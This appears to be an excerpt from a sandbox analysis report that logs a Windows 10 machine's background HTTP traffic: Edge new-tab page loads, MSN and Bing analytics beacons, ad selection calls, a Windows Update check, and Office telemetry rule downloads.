Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732532933075&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A576580DC7A6D0124D170C2DDEE6CAA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=81A7AD75DE404C4D9504966CD607D61E&RedC=c.msn.com&MXFR=0A576580DC7A6D0124D170C2DDEE6CAA HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: F9627686C11DD26947419672002C024C912A715D4C4C02478118D8F6D0548C15Sec-MS-GEC-Version: 1-117.0.2045.47Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":16,"provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; MUIDB=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=de34173b-fe96-4429-96a0-2bd098790f4d; ai_session=It58WRYGMta7xZuGvi5tuj\|1732532933071\|1732532933071; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.4sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 650sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 3gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; MUIDB=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=de34173b-fe96-4429-96a0-2bd098790f4d; ai_session=It58WRYGMta7xZuGvi5tuj\|1732532933071\|1732532933071; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732532933075&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A576580DC7A6D0124D170C2DDEE6CAA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1C296e1bec5e46dcb1708fc1732532934; XID=1C296e1bec5e46dcb1708fc1732532934
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0A576580DC7A6D0124D170C2DDEE6CAA&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=fb60a030263d460ff8a31e18db70ea3f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=81A7AD75DE404C4D9504966CD607D61E&MUID=0A576580DC7A6D0124D170C2DDEE6CAA HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0A576580DC7A6D0124D170C2DDEE6CAA&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=13e7afd074a648f0bd44597f5825964d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZHYzBU9XXRw5tHv&MD=5C6y4ED8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
